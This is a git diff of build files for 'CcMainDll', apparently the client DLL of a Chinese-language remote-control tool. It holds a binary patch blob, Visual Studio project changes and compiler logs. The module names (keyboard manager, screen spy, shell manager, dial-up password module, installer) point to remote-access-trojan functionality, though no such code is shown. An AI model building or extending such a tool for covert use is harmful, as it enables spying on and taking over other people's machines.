zz+(H^%l4vh7yn*)nu-jUQ#t3}+L>j#IrmG`W%?Z7Z?XJzu)Jme$;_E09Xo|(|1rO8
zG@W|2>_4-4g|21)vFtxI3R(6ad^yVL_p2=JvK82}{~QHoPRss-Z_BFpz|PKkWQ_`@
zV^omPm@i&PB+)JVkMc2P%l>mzPGnj3AC)&|w)P`S($8K=fBlrDf9>I0k>;v9=N#E;
zWwB~`Mulk`XSO$4+&p`^ncu@uLXn)9$tl{5Haa>%b646*b`I~hSbg@gy29py@XFIl
z+Bv-|jx-*}8ShPZV%(i})3RJPzvQ6=i}hzO>tCbry8xX9Y3?a9ldLZpMN|s2*#&|p
z#@(4V>&HsSY@~1Lf2O>BRZ62J8D_6!u=Kw`x269bWlq<Y{%7fbN7Z@*OaH?hw6f4&
zoRCxLo>^#+{oW9F39%HM*{k48jeIcbKMn`{_})x9W@ozj&~p8aX**`;ynwmR_HygB
z+W*n9)Xr-EUcdS)@L3Cxx!(TY?`(hYws(7;Tl=MNaA5|6b8hZYezL*-=8p6Y-f?@R
z=b{X&3Csn}PY@PJEkJOpw`{Q5|MY$4%AgIKwfX0*{ZH4IzB1iXY`Ol%TGLW5cXz&z
zC7kKnoSHO^>qFkhwe!B(WW!MYTkYS|61P4>FF7m@pS>E+8Psa-m6ZIINS*_jN!wPY
z`@AmK-<bB$H0K3aY(IP1o?NdU+nz+WpTTWqGTO=X1kGJ(`z+@0Zj06D4y!LBtLOA1
zXgS;jcabQCIU#m|p=vFw(P`$g*mL%>=f^3E#jxV=Er_XRJ7?!!$j3=+H?T4_YnsY)
z`z+sH(J`!Sueh_y-qljSd1PRCZQtl<*`}7!dPlRbA{wo$*t*rZ$v$4=*)$PuspmPT
zy{n;ayS*&xYv{K-o9z>xz{uK)-ttZR>c?Dl6ZK`aA@|x~dskCWbi1P~*jd-t6E5?#
zjP3L^)o-!aI9$#qdtJSwvB}=%sk?l<ZHIlt-_q#_Z?A6g4o2$hCR~;Fy7K;3d-ITE
zAW&a7YIoP~3)VF5ET6FV`YY{`f#JR_69Z-T-iFPM9sY1xPg6r+WV{2#PWZNN-dQu&
zKGNS*UuSRK*14^<rPSZ)ZW7%%Ra-Jj3>o{^Z@DO~RO9s-b%C7-N4&!-Hw3fhuoL6H
zRFM7zrXF|pCCo)BJ?AYP*7#3x>aoUuN7<rdYy7ABdUAH7$GIrFkEV^H)vRuf|8$#~
zXS0v_(ZWOysJaV9eR#!Te)ClvrOn`m`WYy_i&giey(xZ<?zQCP>@`G)+%5kdi&)&0
zVa|N(Y=J)*9I*{l8JZ@HK35`J(z3eEGGK^?1M52$S$xOBvj0K<&}k&I<nt<){ZHu=
z659XfmI3p2<$3Uhfd`OY3vkZhr^qt<!tYXzrDougbi2G<-fr1{-5D=|(OZx$<#_fg
z$JY2SpfI{->^NYlz;mk$oazCwmXjaYVQ^;tp=d{JBa?VPNO_2*vK?3=ZuW{ei5H}Q
zYy2OKcvU;D#|#J>vw<c2=9ciY^#9>tpgWiPzvBIF8}*Ejgo1;U9E`+&gr%(|(+>qL
zaYRGmV5lk37qktmHXQ26O){g5Rtuh6Ex2l`ms)XnBhs9cnaL4+W*-w@s@dQ@{Skal
zZ_la;So;4Q_TkHc{%^_u{C?qkwws`*;Unj>y$Yt=3zuJjmcoj|OOQAf;LNcrLc9j&
zXt6i7I-8rJ-A$z=tuBMl6E2Q@(PuzoPBLRo$kDx7b$b@u&!F?UAaE11i^%qm6gbzF
z;J3fFv}{I}A`h5#IbW(-6g*IEIFgB(8B{61&l`xif}SC7#Fp`W7Prr>an2TSw-i<!
z-iE}P0L{iLIpFqmgnZiHN?oK_eFx0%xS_KbXK|;+?$gBX)2;ki<9}N4X3zNFQiP^m
z5wi6Ekk=b<jZE0G8ar5BL@v6B9IY%pURHJlIA$@;F)hco^OW-*At(&v7Zd_Qx8O${
z6h;J_Fd)zyf4@*GlnP}+iBKVw3-w4B3zayo5*m=I5FALCBW1^NjZlYFiQp8faovGb
zHO^MzpLq@l?I^ENSO+W)!6S4CUJ+{qvC$bVT@E2CgoH3?3kgl2v=1rLC<tz$A0>q1
zDCYBBp9VhC)PmA{DBX#A*ztl?b?S3|P^zVC3vf>eJ)p)78hXVN0wPVTP#dhvAv`6o
z4T1VXVH;|t1hr@r|4F0q(>oH>k)9eo)$tVa4v8YEmOOa7Bf!h$nOA2~Kg5(8yB+VX
z7j+s`)r^*ovp~lP_=J2hjJkA-^ciu45jLZ9+BZ}O3i|NVVr3KP%_-Ji@Qh!4*W@4@
z_(ZB_u4mblMm=k(kJX>V?H@pC%{eJeq3>*zIG9F>Mm279E>V5(1C`@>z^AP@7wSKR
zckaczaN$i%$kJjtuwOF`*eB51DcOb-@;%3$fh3enhxCk>7BTq`@(?nY|BC#~RQ{Wl
zpNZr@`HWu@TW8uH6#MoT9Z!QjgRFoB>jP20{}Ltz!Tf+*;|X9?)cRCp(F&JM|7A`-
zC+@$r^71rLlmFhrg&y52%F#r<)(X%O$f?|R0H05k6A?&?Amqjnjv^`vPMhd-$c&i8
zO7!&Sf|AK3GQ&u#N?&83X4Vf~kNtK8@wlokPM;PEoWShHdx=7FyCF%#Dhjxb;AT@C
zpzRU%iSM}wT85I6dQ|#3MDkFlsrib-%|TO7V${DHpG(Bc)Rd{u=Hp4V^-S%DeIMVS
zU+#4;m=?@YV2*%uh*i;U=x%w1{C2nFS^!)f6vjYdp|C~d?=U!`6xw*VIIi&EZfdO5
z%6XQ0x(%snaZFP#9(N<hFs_e4!=SwIiX0k&?4riu#@%83kDzpk!%hYbBh$)ZeA{$E
z$gPIkhv#$S$-SsQj>CrJ=i{<}e@^*W%TZblp3lYwwEOZ<qguS%@CL~VL5y?wK4V<9
z3i$J{!zStlIC9H>FJPoWE3Infv^>9Fk|@|O1or&vBC(NIqW55pT(veFZR?5EpEYuo
zEK24ya-()fnKySvuDQ`dV<S;MJ$KRVNJHXlc`>o|kRM#jzbuLMB#C6nd7xud^L%ry
z7PZtTx9uA1u3GzRylq0O2PnP4eAJwx;jvt;Ofo)`{+KB78zgt0I4v~9B&wc^NCRyh
z`5&dyUJ!y7%~86Z3gwL~1tkYHyqphiXn=O+2OWv1C<GOLnTlL${v4%8p#5`<69NqZ
zjFqJxj#Df7A7AO8m+xMh%+c2Wq%_r%%SSgq=y@(&{LJ%JC;z(Y>?_Bwy5OqypiwxY
z3p|%3(0)fwnydCZ#ech7|8XHBYhXnxYv5FA%9rbnN+~m4N;DAh`3+5+l_|>T@cO;(
zuxbUL4HOmfJ!&kam!>Et=7qP<@9VJvR{H{d5zIe_N!AB*Q6QY2Mnc|jf&$Ikay9;i
zM)hv^_6Bp`{t}6vNB*{d*Us~ozV(3jXBQ2gd+=^np02SSIl_~vLIpBVBVtgk(KLML
z%%gebX*5*L{tQMnYQ8M(x5ACeDmKlE%}uSMccA96%x?lR#mUit$a=<%tSLOnbI!!(
z)0Y2lhj&<7pFEX_Uwp5T2YFkjl@FcC(x4N0BUl=AY#vq7BMTwnr(c6sEakaYT*L4I
z2#fkUeTUTc`SbCdGpV;vO)qQow~%>PsmzAc@zW){*Sy)X<()s=-1UjV`CoqOrPom}
zae9Pl$DApR)zW{HuDzPl8g%+^?LcmJfV39*k&PLot@f<-A0eBy{^O|mvW(=!O7>6S
z|C`8v)$;#Q^q`sX|FQi4%=u5p^j59My5;|8#y{Kg|4Z$sH8bts$Y<a3|C2r=Z2A8g
zx9!BdO#6oA|7ZFCnI67lCY>{ltTC>J;%vO-|EFk#mjB;$_&-|yf7Z%1WnF5__a)|q
zYpq;k?Ic=1o0(DAC0fa|Te)WBgQf3FjHuK4>>cg?f7bk8?zuZAMU1?tEDt)Z&94w+
z25bH=S01EB94Gnhl~>NEvFa-Y(zmm1j-cP~^;q+NDi5TXyO`zwCT^df#64wdLUCsO
z-&AjJPWq1tY?Jh&W6ZFG>ovQa-kxZGr#sZ|jW~jVK3{)P;Wlq5><b1ql$O}UUs0hW
z>W@T2-VFh7G!k<AiwfJLJ$|1DGvS@VA#Y$qd1+5yc}-=NySKcm!fV|Ab>4LuI8<8i
z--I()LjS>;e*Y1$RM^(&4R}L7kFD7kj$Br{dv}Y^6AFfdeG!{8<Qw&dw)l|Jv!tyZ
z-wW`1BH{(?W#IBgBECR>xTr8LYc9BV&mQ(;3-<aV-r?}Ed&9nc-i3QX8yf{yXIz>U
z&Aa!o*)3eSNa`z*MmSD9P#Wg^4OwAe`HSOgb;>KpyrZyY^SDiBwzSa>d6b3e;u7`$
E543QKcmMzZ

diff --git a/CcMainDll/CcMainDll/CcMainDll.vcxproj b/CcMainDll/CcMainDll/CcMainDll.vcxproj
index d6ea52e..5a00924 100644
--- a/CcMainDll/CcMainDll/CcMainDll.vcxproj
+++ b/CcMainDll/CcMainDll/CcMainDll.vcxproj
@@ -91,7 +91,7 @@
       <PreprocessorDefinitions>WIN32;_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
       <ConformanceMode>false</ConformanceMode>
       <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
-      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
       <AdditionalOptions>/Zc:stricStrings %(AdditionalOptions)</AdditionalOptions>
     </ClCompile>
     <Link>
@@ -194,6 +194,7 @@
   <ItemGroup>
     <ClCompile Include="..\..\common\Audio.cpp">
       <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
+      <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
     </ClCompile>
     <ClCompile Include="ClientSocket.cpp">
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
@@ -202,6 +203,7 @@
     </ClCompile>
     <ClCompile Include="common\AudioManager.cpp">
       <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
+      <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
     </ClCompile>
     <ClCompile Include="common\Buffer.cpp">
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
@@ -222,18 +224,26 @@
     </ClCompile>
     <ClCompile Include="common\install.cpp">
       <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
+      <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
+      <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">..\pch.h</PrecompiledHeaderFile>
     </ClCompile>
     <ClCompile Include="common\KernelManager.cpp">
-      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
+      <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
+      <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
     </ClCompile>
     <ClCompile Include="common\KeyboardManager.cpp">
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
+      <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
     </ClCompile>
     <ClCompile Include="common\Manager.cpp">
       <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
+      <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
     </ClCompile>
     <ClCompile Include="common\RegEditEx.cpp">
-      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
+      <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
+      <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
     </ClCompile>
     <ClCompile Include="common\ScreenManager.cpp">
       <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
@@ -241,6 +251,7 @@
     </ClCompile>
     <ClCompile Include="common\ScreenSpy.cpp">
       <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
+      <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
     </ClCompile>
     <ClCompile Include="common\ShellManager.cpp">
       <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
@@ -248,6 +259,7 @@
     </ClCompile>
     <ClCompile Include="common\SystemManager.cpp">
       <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
+      <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
     </ClCompile>
     <ClCompile Include="common\until.cpp">
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
@@ -257,9 +269,11 @@
     </ClCompile>
     <ClCompile Include="common\VideoCap.cpp">
       <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
+      <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
     </ClCompile>
     <ClCompile Include="common\VideoManager.cpp">
       <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
+      <PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
     </ClCompile>
     <ClCompile Include="dllmain.cpp" />
     <ClCompile Include="pch.cpp">
diff --git a/CcMainDll/CcMainDll/CcMainDll.vcxproj.filters b/CcMainDll/CcMainDll/CcMainDll.vcxproj.filters
index 35d4f82..7d1ba7e 100644
--- a/CcMainDll/CcMainDll/CcMainDll.vcxproj.filters
+++ b/CcMainDll/CcMainDll/CcMainDll.vcxproj.filters
@@ -95,18 +95,12 @@
     <ClCompile Include="common\until.cpp">
       <Filter>源文件</Filter>
     </ClCompile>
-    <ClCompile Include="common\KernelManager.cpp">
-      <Filter>头文件</Filter>
-    </ClCompile>
     <ClCompile Include="common\KeyboardManager.cpp">
       <Filter>源文件</Filter>
     </ClCompile>
     <ClCompile Include="common\RegEditEx.cpp">
       <Filter>源文件</Filter>
     </ClCompile>
-    <ClCompile Include="common\Manager.cpp">
-      <Filter>头文件</Filter>
-    </ClCompile>
     <ClCompile Include="common\SystemManager.cpp">
       <Filter>源文件</Filter>
     </ClCompile>
@@ -140,5 +134,11 @@
     <ClCompile Include="common\install.cpp">
       <Filter>源文件</Filter>
     </ClCompile>
+    <ClCompile Include="common\KernelManager.cpp">
+      <Filter>源文件</Filter>
+    </ClCompile>
+    <ClCompile Include="common\Manager.cpp">
+      <Filter>源文件</Filter>
+    </ClCompile>
   </ItemGroup>
 </Project>
\ No newline at end of file
diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log
new file mode 100644
index 0000000..e9a13a6
--- /dev/null
+++ b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log
@@ -0,0 +1,34 @@
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audio.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videocap.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\manager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\install.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
+f:\myapp\ccremote\ccmaindll\debug\ccmaindll.pdb
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-cvtres.read.1.tlog
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-cvtres.write.1.tlog
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-rc.read.1.tlog
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-rc.write.1.tlog
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
+f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog
diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.log b/CcMainDll/CcMainDll/Debug/CcMainDll.log
index 0d90e97..9baa1c2 100644
--- a/CcMainDll/CcMainDll/Debug/CcMainDll.log
+++ b/CcMainDll/CcMainDll/Debug/CcMainDll.log
@@ -1,35 +1,103 @@
 cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
   pch.cpp
+cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
+  Audio.cpp
+f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
 cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
   ClientSocket.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
-  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
-  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
-  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配
   Buffer.cpp
   until.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
-  g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
-  g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
+  d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
+  d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
   正在生成代码...
 cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
+  AudioManager.cpp
+  Dialupass.cpp
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
+  d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
+  install.cpp
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
   KernelManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(158): fatal error C1010: 在查找预编译头时遇到意外的文件结尾。是否忘记了向源中添加“#include "pch.h"”?
-  dllmain.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
-  g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(24): warning C4326: “main”的返回类型应为“int”而非“DWORD”
-g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(65): error C2065: “NOT_CONNECT”: 未声明的标识符
-g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(69): error C2065: “NOT_CONNECT”: 未声明的标识符
-g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(69): error C2065: “HEARTBEATTIMEOUT_ERROR”: 未声明的标识符
-g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(100): error C2065: “CONNECT_ERROR”: 未声明的标识符
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
+  KeyboardManager.cpp
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
+  Manager.cpp
+  RegEditEx.cpp
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
